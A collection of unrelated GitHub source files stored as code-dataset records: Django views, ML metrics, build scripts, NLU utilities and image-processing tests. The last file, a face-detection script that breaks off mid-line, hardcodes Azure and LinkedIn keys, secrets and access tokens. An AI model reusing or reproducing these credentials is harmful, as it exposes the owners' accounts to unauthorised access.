unittest.main()\n","repo_name":"credmark/credmark-model-framework-py","sub_path":"tests/test_multicall.py","file_name":"test_multicall.py","file_ext":"py","file_size_in_byte":2819,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"20"} +{"seq_id":"24478163713","text":"from django.contrib import admin\nfrom blog import views\nfrom django.conf.urls import include, url\n\nurlpatterns = [\n url(r'^admin/', admin.site.urls),\n url(r'^about/$', views.about, name='about'),\n url(r'^components/$', views.components, name='components'),\n url(r'^news/$', views.news, name='news'),\n url(r'^$', views.index, name='index'),\n url(r'^song/$', views.song, name='song'),\n url(r'^FB/$', views.FB, name='FB'),\n]\n","repo_name":"Anish-miya/MovieBlog","sub_path":"mainsite/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"73739622768","text":"import cv2\nimport numpy as np\nimport tensorflow as tf\nimport tensorflow.keras.backend as K\nimport tensorflow.experimental.numpy as tnp\nimport monai\n\n\ndef dice_coefficient(y_true, y_pred, preprocessing=False):\n \"\"\"\n Dice coefficient.\n Parameter:\n y_true (array) : array of ground truth masks\n y_pred (array) : array of predicted masks\n\n Returns:\n dsc (float) : dice similarity coefficient\n \"\"\"\n NUM_CLASSES = y_pred.shape[0]\n smooth = 1e-7\n y_true_f = K.flatten(K.cast(y_true, \"float32\"))\n y_pred_f = K.flatten(K.cast(y_pred, \"float32\"))\n\n intersect = K.sum(y_true_f * y_pred_f, axis=-1)\n denom = K.sum(y_true_f + y_pred_f, axis=-1)\n return K.mean((2.0 * intersect / (denom + smooth)))\n\n\ndef dice_coef_loss(y_true, y_pred):\n \"\"\"\n Dice loss to be minimized during training.\n Parameter:\n y_true (array) : array of ground truth masks\n y_pred (array) : array of predicted masks\n\n Returns:\n dsc_loss (float) : 1 - dice similarity coefficient\n \"\"\"\n return 1 - dice_coefficient(y_true, y_pred)\n\n\ndef get_flat(reference, test):\n \"\"\"Align masks in one array and create binary representations.\n Parameter:\n reference (array) : array of ground truth masks\n test (array) : array of predicted masks\n\n Returns:\n gt_img_arr (float) : 1d array of aligned ground truth masks\n pred_img_arr (float) : 1d array of aligned predicted masks\n \"\"\"\n NUM_CLASSES = test.shape[-1]\n if NUM_CLASSES > 1:\n gt_img_arr = np.vstack((reference[0, ...], reference[1, ...]))\n pred_img_arr = np.vstack((test[0, ...], test[1, ...]))\n else:\n gt_img_arr = reference\n pred_img_arr = test\n\n gt_img_arr = np.array(\n [tf.where(gt_img_arr[i] > 0.5, 1, 0) for i in range(gt_img_arr.shape[0])]\n )\n pred_img_arr = np.array(\n [tf.where(pred_img_arr[i] > 0.5, 1, 0) for i in range(pred_img_arr.shape[0])]\n )\n return gt_img_arr, pred_img_arr\n\n\ndef draw_bb(image):\n \"\"\"Draws a minimal rectangle based on the limits of non-zero pixels.\n Parameter:\n image (array) : mask image to get bounding box from\n\n Returns:\n ref_image (array) : 2d array with bounding box\n \"\"\"\n try:\n y_idx = tnp.nonzero(image)[0]\n x_idx = np.nonzero(image)[1]\n ref_img = np.zeros(image.shape)\n cv2.rectangle(\n ref_img,\n (np.min(x_idx), np.min(y_idx)),\n (np.max(x_idx), np.max(y_idx)),\n (1.0, 1.0, 1.0),\n -1,\n )\n except:\n ref_img = np.zeros(image.shape)\n return ref_img\n\n\ndef get_bb(flat_ref, flat_test):\n \"\"\"Calls the draw_bb to generate the bounding boxes.\n Parameter:\n flat_ref (array) : arrays with ground truth masks\n flat_test (array) : arrays with predicted masks\n\n Returns:\n bboxes_ref (array) : array with bounding boxes of ground truth mask images\n bboxes_test (array) : array with bounding boxes of predicted mask images\n \"\"\"\n bboxes_ref = np.array([draw_bb(flat_ref[i]) for i in range(flat_ref.shape[0])])\n bboxes_test = np.array([draw_bb(flat_test[i]) for i in range(flat_ref.shape[0])])\n return bboxes_ref / 1.0, bboxes_test / 1.0\n\n\ndef bb_IoU(y_true, y_pred):\n \"\"\"Flattens the mask arrays, generates the bounding boxes and calculates the IoU score of the bounding boxes.\n Parameter:\n y_true (array) : array of ground truth masks\n y_pred (array) : array of predicted masks\n\n Returns:\n iou (float) : IoU score of bounding boxes\n \"\"\"\n flat_ref, flat_test = get_flat(y_true, y_pred)\n bb_true, bb_pred = get_bb(flat_ref, flat_test)\n return IoU(bb_true, bb_pred, True)\n\n\ndef IoU(y_true, y_pred, preprocessing=False):\n \"\"\"Calculates the IoU score.\n Parameter:\n y_true (array) : array of ground truth masks\n y_pred (array) : array of predicted masks\n\n Returns:\n iou (float) : intersection over union score\n \"\"\"\n DC = dice_coefficient(y_true, y_pred, preprocessing)\n return DC / (2 - DC)\n\n\ndef hd_95_monai(y_true, y_pred):\n \"\"\"Calculates the hd95 coefficient by using the monai library.\n Parameter:\n y_true (array) : array of ground truth masks\n y_pred (array) : array of predicted masks\n\n Returns:\n hd95 (float) : hausdorff distance with a percentile of 95\n \"\"\"\n return monai.metrics.compute_hausdorff_distance(\n np.expand_dims(y_true, axis=(0, 1)),\n np.expand_dims(y_pred, axis=(0, 1)),\n percentile=95.0,\n )\n","repo_name":"neuluna/evoNMS","sub_path":"metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":4596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"34535277552","text":"# build the plugin binaries\nimport os\nimport sys\nimport datetime,time\n\n\nbasepath = str(Dir('#').abspath)\n\n###############################################\n# ENVIRONMENT #\n###############################################\n\n\ntools = ['default']\n\n# create the main environment\nenv = Environment( tools = tools )\n# env = Environment( CC='clang',\n# CXX='clang++',\n# ENV = os.environ,\n# tools = tools )\n\nenv.Append(BASEPATH=basepath)\nenv.Append(ENV = {'BASEPATH' : str(Dir('#').abspath)})\n\n\n###############################################\n# BUILD #\n###############################################\n \n# build dir\nbuilddir = os.path.join('build', sys.platform)\nenv['builddir'] = builddir\n# compile flags\nenv.AppendUnique( CCFLAGS = ['-g',\n # '-O2',\n '-std=c++11',\n '-Werror'])\n\n# print env.Dump()\n# build sources\nSConscript( 'SConscript',\n variant_dir = builddir,\n duplicate=False,\n exports='env' )\n","repo_name":"dbacchet/foundation","sub_path":"legacy/SConstruct","file_name":"SConstruct","file_ext":"","file_size_in_byte":1154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"30484949849","text":"#Import libraries\n#\nimport os\nimport sys\n\n#Setting directory path as command line argument\n#\ndir_path = sys.argv[1]\n\n#Looping through every sub-directory within the parent directory\n#\nfor root, dirs, files in os.walk(dir_path):\n for file in files:\n\n #Searching for all the files that end with .txt\n #\n if file.endswith('.txt'):\n\n #Displaying the program running through all the directories\n #\n print (root+'/'+str(file))\n\n #Finding files with .txt in their name\n #\nfname = '*.txt'\n\n#Trying to open the file if it ends with .txt\n#\ntry:\n fhand = open(fname)\n counts = dict()\n\n #Counting the lines\n #\n for line in fhand:\n words = line.split()\n\n #Getting the words\n #\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n\n #Printing the words\n #\n print(counts)\nexcept:\n\n #Error message if file can not be opened\n #\n print('File cannot be opened:', fname)\n","repo_name":"Nasriib/Directory-shuffler","sub_path":"shuffle.py","file_name":"shuffle.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"14631553207","text":"from collections import defaultdict\nfrom copy import deepcopy\n\nfrom snips_nlu_metrics.utils.constants import (\n DATA,\n ENTITIES,\n ENTITY,\n INTENTS,\n SYNONYMS,\n TEXT,\n USE_SYNONYMS,\n UTTERANCES,\n VALUE,\n)\n\n\ndef input_string_from_chunks(chunks):\n return \"\".join(chunk[TEXT] for chunk in chunks)\n\n\ndef get_utterances_subset(utterances, ratio):\n utterances_dict = dict()\n for (intent_name, utterance) in utterances:\n if intent_name not in utterances_dict:\n utterances_dict[intent_name] = []\n utterances_dict[intent_name].append(deepcopy(utterance))\n\n utterances_subset = []\n for (intent_name, utterances) in utterances_dict.items():\n nb_utterances = int(ratio * len(utterances))\n utterances_subset += [(intent_name, u) for u in utterances[:nb_utterances]]\n return utterances_subset\n\n\ndef is_builtin_entity(entity_name):\n return entity_name.startswith(\"snips/\")\n\n\ndef get_declared_entities_values(dataset):\n existing_entities = dict()\n for entity_name, entity in dataset[ENTITIES].items():\n if is_builtin_entity(entity_name):\n continue\n ents = set()\n for data in entity[DATA]:\n ents.add(data[VALUE])\n if entity[USE_SYNONYMS]:\n for s in data[SYNONYMS]:\n ents.add(s)\n existing_entities[entity_name] = ents\n return existing_entities\n\n\ndef get_intent_utterances_entities_value(dataset):\n existing_entities = defaultdict(set)\n for intent in dataset[INTENTS].values():\n for u in intent[UTTERANCES]:\n for chunk in u[DATA]:\n if ENTITY not in chunk or is_builtin_entity(chunk[ENTITY]):\n continue\n existing_entities[chunk[ENTITY]].add(chunk[TEXT])\n return existing_entities\n\n\ndef make_entity(value, synonyms):\n return {\"value\": value, \"synonyms\": synonyms}\n\n\ndef update_entities_with_utterances(dataset):\n dataset = deepcopy(dataset)\n\n declared_entities = get_declared_entities_values(dataset)\n intent_entities = get_intent_utterances_entities_value(dataset)\n\n for entity_name, existing_entities in declared_entities.items():\n for entity_value in intent_entities.get(entity_name, []):\n if entity_value not in existing_entities:\n dataset[ENTITIES][entity_name][DATA].append(\n make_entity(entity_value, [])\n )\n\n return dataset\n","repo_name":"snipsco/snips-nlu-metrics","sub_path":"snips_nlu_metrics/utils/dataset_utils.py","file_name":"dataset_utils.py","file_ext":"py","file_size_in_byte":2462,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"20"} +{"seq_id":"28161301129","text":"import numpy as np\nimport cv2\nimport myHist\nimport pytest\nimport time\nimport matplotlib.pyplot as plt\n\nfilename = 'img/lake.jpg'\n\ndef test_histEq():\n myHist_output = openCV_output = cv2.imread(filename)\n\n myHist_output[:, :, 0] = myHist.histEq_thread(myHist_output[:, :, 0])\n openCV_output[:, :, 0] = cv2.equalizeHist(openCV_output[:, :, 0])\n\n assert np.array_equal(myHist_output, openCV_output)\n\ndef test_histEq_serial_performance():\n my_img = opencv_img = cv2.imread(filename)\n\n start_time = time.time()\n my_img[:, :, 0] = myHist.histEq_serial(my_img[:, :, 0])\n my_hist_time = time.time() - start_time\n\n start_time = time.time()\n opencv_img[:, :, 0] = cv2.equalizeHist(opencv_img[:, :, 0])\n opencv_hist_time = time.time() - start_time\n\n performance = my_hist_time / opencv_hist_time\n assert my_hist_time < opencv_hist_time\n\ndef test_histEq_thread_performance():\n my_img = opencv_img = cv2.imread(filename)\n\n start_time = time.time()\n my_img[:, :, 0] = myHist.histEq_thread(my_img[:, :, 0])\n my_hist_time = time.time() - start_time\n\n start_time = time.time()\n opencv_img[:, :, 0] = cv2.equalizeHist(opencv_img[:, :, 0])\n opencv_hist_time = time.time() - start_time\n\n performance = my_hist_time / opencv_hist_time\n assert my_hist_time < opencv_hist_time\n\nif __name__ == '__main__':\n files = ['img/acne-face.jpg', 'img/berry.jpg', 'img/lake.jpg', 'img/gray.jpg', 'img/flower.jpg', 'img/dark-mountain.jpg', 'img/forest.jpg']\n\n for f in files:\n my_img_serial = cv2.imread(f)\n my_img_thread = my_img_serial.copy()\n opencv_img = my_img_serial.copy()\n # print(hex(id(my_img_serial)), hex(id(my_img_thread)), hex(id(opencv_img)))\n print(f'file: {f}, shape: {my_img_serial.shape}')\n\n ycbcr = cv2.cvtColor(my_img_serial, cv2.COLOR_BGR2YCrCb)\n # plot the distrubution of Y channel\n plt.figure()\n plt.title(f'{f.split(\"/\")[1].split(\".\")[0]}')\n plt.xlabel('Intensity Value')\n plt.ylabel('Count')\n plt.hist(ycbcr[:, :, 0].ravel(), 256, [0, 256], color='b', alpha=0.5)\n plt.savefig(f'output/{f.split(\"/\")[1].split(\".\")[0]}-intensity.png')\n\n start_time = time.time()\n my_img_serial[:, :, 0] = myHist.histEq_serial(my_img_serial[:, :, 0])\n my_hist_serial_time = time.time() - start_time\n\n start_time = time.time()\n my_img_thread[:, :, 0] = myHist.histEq_thread(my_img_thread[:, :, 0])\n my_hist_thread_time = time.time() - start_time\n\n start_time = time.time()\n opencv_img[:, :, 0] = cv2.equalizeHist(opencv_img[:, :, 0])\n opencv_hist_time = time.time() - start_time\n \n if f == 'img/forest.jpg':\n plt.figure()\n plt.title(f'RGB')\n plt.xlabel('Intensity Value')\n plt.ylabel('Count') \n rgb = cv2.imread(f)\n plt.hist(rgb[:,:,0].ravel(), 256, [0, 256], color='orange', alpha=0.5, label='B')\n plt.hist(rgb[:,:,1].ravel(), 256, [0, 256], color='b', alpha=0.5, label='G')\n plt.hist(rgb[:,:,2].ravel(), 256, [0, 256], color='g', alpha=0.5, label='R')\n plt.legend()\n plt.savefig(f'output/{f.split(\"/\")[1].split(\".\")[0]}-rgb.png')\n\n plt.figure()\n plt.title(f'YCbCr')\n plt.xlabel('Intensity Value')\n plt.ylabel('Count') \n ycbcr = cv2.cvtColor(rgb, cv2.COLOR_BGR2YCrCb)\n plt.hist(ycbcr[:,:,0].ravel(), 256, [0, 256], color='orange', alpha=0.5, label='Y')\n plt.hist(ycbcr[:,:,1].ravel(), 256, [0, 256], color='b', alpha=0.5, label='Cr')\n plt.hist(ycbcr[:,:,2].ravel(), 256, [0, 256], color='g', alpha=0.5, label='Cb')\n plt.legend()\n plt.savefig(f'output/{f.split(\"/\")[1].split(\".\")[0]}-ycbcr.png')\n\n # ycbcr[:, :, 0] = cv2.equalizeHist(ycbcr[:, :, 0])\n\n # plt.hist(ycbcr[:,:,0].ravel(), 256, [0, 256], color='b', alpha=0.5)\n # plt.legend(('before', 'after'))\n # plt.savefig('output/color-after-histEq.png')\n\n # result = cv2.cvtColor(ycbcr, cv2.COLOR_YCrCb2BGR)\n # cv2.imwrite('output/color_hist.jpg', result)\n\n print(f'my_serial_histogram_time: {my_hist_serial_time*1000:.3f} ms')\n print(f'my_thread_histogram_time: {my_hist_thread_time*1000:.3f} ms')\n print(f'opencv_histogram_time: {opencv_hist_time*1000:.3f} ms')\n print('=====================================================')\n \n exec_time = [[0.074, 0.435, 3.243, 1.148], [0.053, 0.391, 2.748, 1.055], [0.042, 0.262, 5.527, 2.526]]\n plt.figure()\n plt.title('Performance Comparison')\n plt.xlabel('Execution Time (ms)')\n plt.ylabel('Image')\n height = 0.3\n x = np.arange(len(exec_time[0]))\n plt.barh(x, exec_time[0], height, color='orange', label='serial')\n plt.barh(x + height, exec_time[1], height, color='green', label='openmp')\n plt.barh(x + height*2, exec_time[2], height, color='royalblue', label='opencv')\n plt.yticks(x + height, ('gray', 'flower', 'acne-face', 'forest'))\n plt.legend()\n plt.savefig('output/performance.png')\n","repo_name":"vtudn/histogram_equalization_cvision","sub_path":"test_hist.py","file_name":"test_hist.py","file_ext":"py","file_size_in_byte":5146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"31484335964","text":"import kate\nfrom xml.dom import minidom\nfrom xml.parsers.expat import ExpatError\nfrom kate_core_plugins import insertText\nfrom kate_settings_plugins import KATE_ACTIONS\n\n\n@kate.action(**KATE_ACTIONS['togglePrettyXMLFormat'])\ndef togglePrettyJsonFormat():\n currentDocument = kate.activeDocument()\n view = currentDocument.activeView()\n source = unicode(view.selectionText()).encode('utf-8', 'ignore')\n if not source:\n kate.gui.popup('Select a xml text', 2,\n icon='dialog-warning',\n minTextWidth=200)\n try:\n target = minidom.parseString(source)\n view.removeSelectionText()\n xml_pretty = target.toprettyxml()\n xml_pretty = '\\n'.join([line for line in xml_pretty.split(\"\\n\") if line.replace(' ', '').replace('\\t', '')])\n insertText(xml_pretty)\n except ExpatError:\n kate.gui.popup('This text is not a valid xml text', 2,\n icon='dialog-warning',\n minTextWidth=200)\n","repo_name":"goinnn/Kate-plugins","sub_path":"kate_plugins/xhtml_plugins/xml_plugins.py","file_name":"xml_plugins.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"20"} +{"seq_id":"6208985760","text":"# -*- coding: utf-8 -*-\nfrom django.shortcuts import render_to_response, get_object_or_404, get_list_or_404, redirect\nfrom django.http import HttpResponseRedirect, Http404, HttpResponse, HttpRequest\nfrom django.conf.urls.defaults import *\nfrom django.contrib.auth.models import User\nfrom datetime import date\nfrom ccradio.panel.models import Broadcaster, Category, Stream, GenresLog\nfrom ccradio.views import get_play\nfrom django.contrib.auth import logout\nfrom django.db import IntegrityError\nfrom django.core.mail import send_mail\nfrom time import strftime\nfrom django.conf import settings\n\n\ndef createprofile(user):\n b = Broadcaster(title=user.username, user=user)\n b.save()\n return b\n\n\ndef get_userip(request):\n ip = request.META.get(\"HTTP_X_FORWARDED_FOR\", None)\n if ip:\n ip = ip.split(\", \")[0]\n else:\n ip = request.META.get(\"REMOTE_ADDR\", \"\")\n return ip\n\n\ndef base(request):\n if request.user.is_authenticated():\n userip = get_userip(request)\n if request.POST:\n if request.POST.get('stream'):\n stream = request.POST.get('stream')\n s = Stream.objects.get(id=stream)\n b = Broadcaster.objects.get(user=request.user)\n b.stream = s\n b.save()\n g = GenresLog(broadcaster=b, stream=s, ip=userip)\n g.save()\n \"\"\"\n stime = strftime(\"%H:%M:%S\")\n GenresLog.date = stime\n GenresLog.broadcaster = b\n GenresLog.stream = s\n GenresLog.save()\n \"\"\"\n try:\n broadcaster = Broadcaster.objects.get(user=request.user)\n except:\n broadcaster = createprofile(request.user)\n if request.POST:\n if request.POST.get('datepicker'):\n datepicker = request.POST.get('datepicker')\n message_subject = \"[ccradio] logs for %s\" % datepicker\n message_text = u\"Το αρχείο των logs μπορείτε να το κατεβάσετε από τη διεύθυνση:\\n%s/playlist-%s.txt.zip\" % (settings.LOGS_URL, datepicker)\n message_from = settings.DEFAULT_FROM_EMAIL\n message_to = [broadcaster.user.email]\n send_mail(message_subject, message_text, message_from, message_to)\n logs_success = \"το αρχείο των logs εστάλη στο email σας\"\n streams = get_list_or_404(Stream.objects.all())\n play = get_play(broadcaster.stream.uri)\n STREAM_URL = settings.STREAM_URL\n return render_to_response('panel.html', locals())\n else:\n return redirect('/')\n\n\ndef edit(request):\n if request.user.is_authenticated():\n if request.POST:\n title = request.POST.get('title')\n category = request.POST.get('category')\n b = Broadcaster.objects.get(user=request.user)\n b.title = title\n b.category_id = category\n b.save()\n return redirect('/panel/')\n else:\n broadcaster = Broadcaster.objects.get(user=request.user)\n categories = get_list_or_404(Category.objects.all())\n return render_to_response('edit.html', locals())\n else:\n return redirect('/')\n\n\ndef logout_user(request):\n logout(request)\n return redirect('/')\n","repo_name":"eellak/ccradio","sub_path":"panel/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3387,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"20"} +{"seq_id":"41955731416","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Apr 18 09:47:07 2019\n\n@author: student\n\"\"\"\n\nimport numpy as np\nfrom math import sqrt\n\nnp.set_printoptions(precision=3, linewidth=200, suppress=True)\nLINE_WIDTH = 60\n\nq0 = np.array([ 0. , 0., 0., 0. , 0. , 0. ]) # initial configuration\nqT = np.array([ 1. , 4.6, 0.0, 0. , 0. , 0. ]) # goal configuration\ndt = 0.02 # DDP time step\nN = 100 # horizon size\n\ndt_sim = 1e-3 # time step used for the final simulation\nndt = 1 # number of integration steps for each control loop\n\nsimulate_coulomb_friction = 0 # flag specifying whether coulomb friction is simulated\nsimulation_type = 'timestepping' # either 'timestepping' or 'euler'\ntau_coulomb_max = 0*np.ones(6) # expressed as percentage of torque max\n\nrandomize_robot_model = 0\nmodel_variation = 30.0\n\nuse_viewer = True\nsimulate_real_time = 1 # flag specifying whether simulation should be real time or as fast as possible\nshow_floor = False\nPRINT_T = 1 # print some info every PRINT_T seconds\nDISPLAY_T = 0.02 # update robot configuration in viwewer every DISPLAY_T seconds\nCAMERA_TRANSFORM = [2.582354784011841, 1.620774507522583, 1.0674564838409424, \n 0.2770655155181885, 0.5401807427406311, 0.6969326734542847, 0.3817386031150818]\n","repo_name":"mattiapettene/Optimization-based-robot-control","sub_path":"code/optimal_control/ddp/ddp_manipulator_conf.py","file_name":"ddp_manipulator_conf.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"20"} +{"seq_id":"6455368236","text":"# In this Kata, you will be given a string and two indexes (a and b). Your task is to reverse the portion of that string between those two indices inclusive.\n\n\ndef solve(st,a,b):\n head = st[:a]\n body = st[a: b + 1]\n tail = st[b + 1:]\n \n newBody = body[::-1]\n\n return head + newBody + tail \n\n\nprint(solve(\"codingIsFun\",2,100)) #,\"conuFsIgnid\")\nprint(solve(\"codewars\",1,5)) #,\"cawedors\")","repo_name":"Uthaeus/codewars_python","sub_path":"7kyu/string_reverse.py","file_name":"string_reverse.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"22317808651","text":"from azure.cognitiveservices.vision.computervision import ComputerVisionClient\r\nfrom azure.cognitiveservices.vision.computervision.models import OperationStatusCodes\r\nfrom azure.cognitiveservices.vision.computervision.models import VisualFeatureTypes\r\nfrom msrest.authentication import CognitiveServicesCredentials\r\nfrom linkedin_v2 import linkedin\r\nfrom array import array\r\nimport os\r\nfrom PIL import Image\r\nimport sys\r\nimport time\r\nimport requests\r\nfrom io import BytesIO\r\nimport json\r\nimport matplotlib.pyplot as plt\r\nimport cv2\r\nimport numpy as np\r\nimport argparse\r\nfrom tensorflow.keras.models import Sequential\r\nfrom tensorflow.keras.layers import Dense, Dropout, Flatten\r\nfrom tensorflow.keras.layers import Conv2D\r\nfrom tensorflow.keras.optimizers import Adam\r\nfrom tensorflow.keras.layers import MaxPooling2D\r\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\r\nfrom scipy.spatial import distance as dist\r\nfrom imutils.video import FileVideoStream\r\nfrom imutils import face_utils\r\nfrom threading import Thread\r\nimport imutils\r\nimport dlib\r\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\r\n\r\n# command line argument\r\nap = argparse.ArgumentParser()\r\nap.add_argument(\"--mode\",help=\"train/display\")\r\nmode = ap.parse_args().mode\r\n\r\n\r\ndef anonymize_face_simple(image, factor=3.0):\r\n # automatically determine the size of the blurring kernel based\r\n # on the spatial dimensions of the input image\r\n (h, w) = image.shape[:2]\r\n kW = int(w / factor)\r\n kH = int(h / factor)\r\n # ensure the width of the kernel is odd\r\n if kW % 2 == 0:\r\n kW -= 1\r\n # ensure the height of the kernel is odd\r\n if kH % 2 == 0:\r\n kH -= 1\r\n # apply a Gaussian blur to the input image using our computed\r\n # kernel size\r\n return cv2.GaussianBlur(image, (kW, kH), 0)\r\n\r\ndef mouth_aspect_ratio(mouth):\r\n # compute the euclidean distances between the two sets of\r\n # vertical mouth landmarks (x, y)-coordinates\r\n A = dist.euclidean(mouth[2], mouth[9]) # 51, 59\r\n B = dist.euclidean(mouth[4], mouth[7]) # 53, 57\r\n\r\n # compute the euclidean distance between the horizontal\r\n # mouth landmark (x, y)-coordinates\r\n C = dist.euclidean(mouth[0], mouth[6]) # 49, 55\r\n\r\n # compute the mouth aspect ratio\r\n mar = (A + B) / (2.0 * C)\r\n\r\n # return the mouth aspect ratio\r\n return mar\r\n\r\nif 'COMPUTER_VISION_SUBSCRIPTION_KEY' in os.environ:\r\n subscription_key = os.environ['COMPUTER_VISION_SUBSCRIPTION_KEY']\r\nelse:\r\n print(\"\\nSet the COMPUTER_VISION_SUBSCRIPTION_KEY environment variable.\\n**Restart your shell or IDE for changes to take effect.**\")\r\n sys.exit()\r\n# Add your Computer Vision endpoint to your environment variables.\r\nif 'COMPUTER_VISION_ENDPOINT' in os.environ:\r\n endpoint = os.environ['COMPUTER_VISION_ENDPOINT']\r\nelse:\r\n print(\"\\nSet the COMPUTER_VISION_ENDPOINT environment variable.\\n**Restart your shell or IDE for changes to take effect.**\")\r\n sys.exit()\r\n \r\ncomputervision_client = ComputerVisionClient(\"https://bikrampaul.cognitiveservices.azure.com/\", CognitiveServicesCredentials(\"85637546b7264a5ba1dce4f4b8b35e7d\"))\r\nremote_image_url = \"https://raw.githubusercontent.com/Azure-Samples/cognitive-services-sample-data-files/master/ComputerVision/Images/landmark.jpg\"\r\n'''\r\nDescribe an Image - remote\r\nThis example describes the contents of an image with the confidence score.\r\n'''\r\n \r\n \r\n'''\r\nDetect Faces - remote\r\nThis example detects faces in a remote image, gets their gender and age, \r\nand marks them with a bounding box.\r\n'''\r\n#print(\"===== Detect Faces - remote =====\")\r\n# Get an image with faces\r\n#remote_image_url_faces = \"https://raw.githubusercontent.com/Azure-Samples/cognitive-services-sample-data-files/master/ComputerVision/Images/faces.jpg\"\r\n# Select the visual feature(s) you want.\r\n#remote_image_features = [\"faces\"]\r\n# Call the API with remote URL and features\r\n#detect_faces_results_remote = computervision_client.analyze_image(remote_image_url_faces, remote_image_features)\r\n\r\n# Print the results with gender, age, and bounding box\r\n#print(\"Faces in the remote image: \")\r\n#if (len(detect_faces_results_remote.faces) == 0):\r\n# print(\"No faces detected.\")\r\n#else:\r\n# for face in detect_faces_results_remote.faces:\r\n# print(\"'{}' of age {} at location {}, {}, {}, {}\".format(face.gender, face.age, \\\r\n# face.face_rectangle.left, face.face_rectangle.top, \\\r\n# face.face_rectangle.left + face.face_rectangle.width, \\\r\n# face.face_rectangle.top + face.face_rectangle.height))\r\n \r\nAPI_KEY = '86mf11anljqsfe'\r\nAPI_SECRET = 'g0rxpjazY6gsH41v'\r\nRETURN_URL = 'https://api-university.com'\r\n\r\nauthentication = linkedin.LinkedInAuthentication(API_KEY, API_SECRET, RETURN_URL, linkedin.PERMISSIONS.enums.values())\r\n# Optionally one can send custom \"state\" value that will be returned from OAuth server\r\n# It can be used to track your user state or something else (it's up to you)\r\n# Be aware that this value is sent to OAuth server AS IS - make sure to encode or hash it\r\n#authorization.state = 'your_encoded_message'\r\nprint (authentication.authorization_url) # open this url on your browser\r\napplication = linkedin.LinkedInApplication(authentication)\r\n#bikram's authentication code\r\nauthentication.authentication_code = 'AQRiRMpG1XfjaRF4bqC9oncAVknCanLCuov-5gZgfuiNRUUbqlbI3lgP8Se34gWRMRxxiurBD6_HQ-MWdJknW2K0Vv081jwllVpAmEGzVieh-QFFbNqTgwkWxJbzulBsgCboR-54lsJnDo5YZB0zZVn2gGsQeyT1Lh9V01_pqnvERFzCX0QvDVTCisjeVg'\r\n#hitesh's authentication code\r\n#authentication.authentication_code = 'AQQdLTIKgEtdQoQvUBd7n90e5zhLisrLitXfrFOR11dZKEk3RiUj2ctNHgRtWczM3RwMVQLfTMjY7Jk9ROiYA2usl-oTTT3or4c8qKiEinnx2_AYJwgp3mrB-5482N2sPGm5dcUB0GUHCtmdANaPDfk2KDwzH3gcJNBpSE4FlrBlrgwbWtk1E24E5QtoKQ'\r\n#bikram's access token\r\napplication = linkedin.LinkedInApplication(token='AQWXUgHMAwl_htHJ_NareR8thl_Z-_1cAOMg65dS9dkpikMnVxgZjiipk8Uuv2w3f0O_5awiGzA_xiq64nSQBwcmPygphqtC4-rTpVJmmnyMKTTTW1micVfnVQ4A6uT0gGrNlbR4DLYDmEgQIbMOVbjjm9tsYjBEMFj3snVTIll6FuAs-s0IW-CITfhsm2-_1VYo0hiBTz2FyZphPcAR2H7kDqeHifvrrfZ-BSpwvZXHCRUMDjx-59v9wEleM7VkOQorBpwpFoUs3WLbEeatKQbQ8kjA80W2vX1nnKzo1uy6Hi6-COoI47v0IbOCCKHT2Iu-bl6BltI0M5N-64EPcjEuj4ndQg')\r\n#print(application)\r\ndata = application.get_profile()\r\n#print(data)\r\ndata1 = data['profilePicture']\r\nlinkedinphoto = data1['displayImage']\r\nprint(\"Detecting face\")\r\n#print(linkedinphoto)\r\n#r = requests.get('https://api.linkedin.com/v2/me?oauth2_access_token=AQWXUgHMAwl_htHJ_NareR8thl_Z-_1cAOMg65dS9dkpikMnVxgZjiipk8Uuv2w3f0O_5awiGzA_xiq64nSQBwcmPygphqtC4-rTpVJmmnyMKTTTW1micVfnVQ4A6uT0gGrNlbR4DLYDmEgQIbMOVbjjm9tsYjBEMFj3snVTIll6FuAs-s0IW-CITfhsm2-_1VYo0hiBTz2FyZphPcAR2H7kDqeHifvrrfZ-BSpwvZXHCRUMDjx-59v9wEleM7VkOQorBpwpFoUs3WLbEeatKQbQ8kjA80W2vX1nnKzo1uy6Hi6-COoI47v0IbOCCKHT2Iu-bl6BltI0M5N-64EPcjEuj4ndQg')\r\n#getdata = r.json()\r\n#print(getdata)\r\n#d = requests.get('https://api.linkedin.com/v2/me?oauth2_access_token=AQWXUgHMAwl_htHJ_NareR8thl_Z-_1cAOMg65dS9dkpikMnVxgZjiipk8Uuv2w3f0O_5awiGzA_xiq64nSQBwcmPygphqtC4-rTpVJmmnyMKTTTW1micVfnVQ4A6uT0gGrNlbR4DLYDmEgQIbMOVbjjm9tsYjBEMFj3snVTIll6FuAs-s0IW-CITfhsm2-_1VYo0hiBTz2FyZphPcAR2H7kDqeHifvrrfZ-BSpwvZXHCRUMDjx-59v9wEleM7VkOQorBpwpFoUs3WLbEeatKQbQ8kjA80W2vX1nnKzo1uy6Hi6-COoI47v0IbOCCKHT2Iu-bl6BltI0M5N-64EPcjEuj4ndQg&projection=(id,firstName,lastName,profilePicture(displayImage~:playableStreams))')\r\n\r\n#Bikram's access token\r\n#getdata1 = 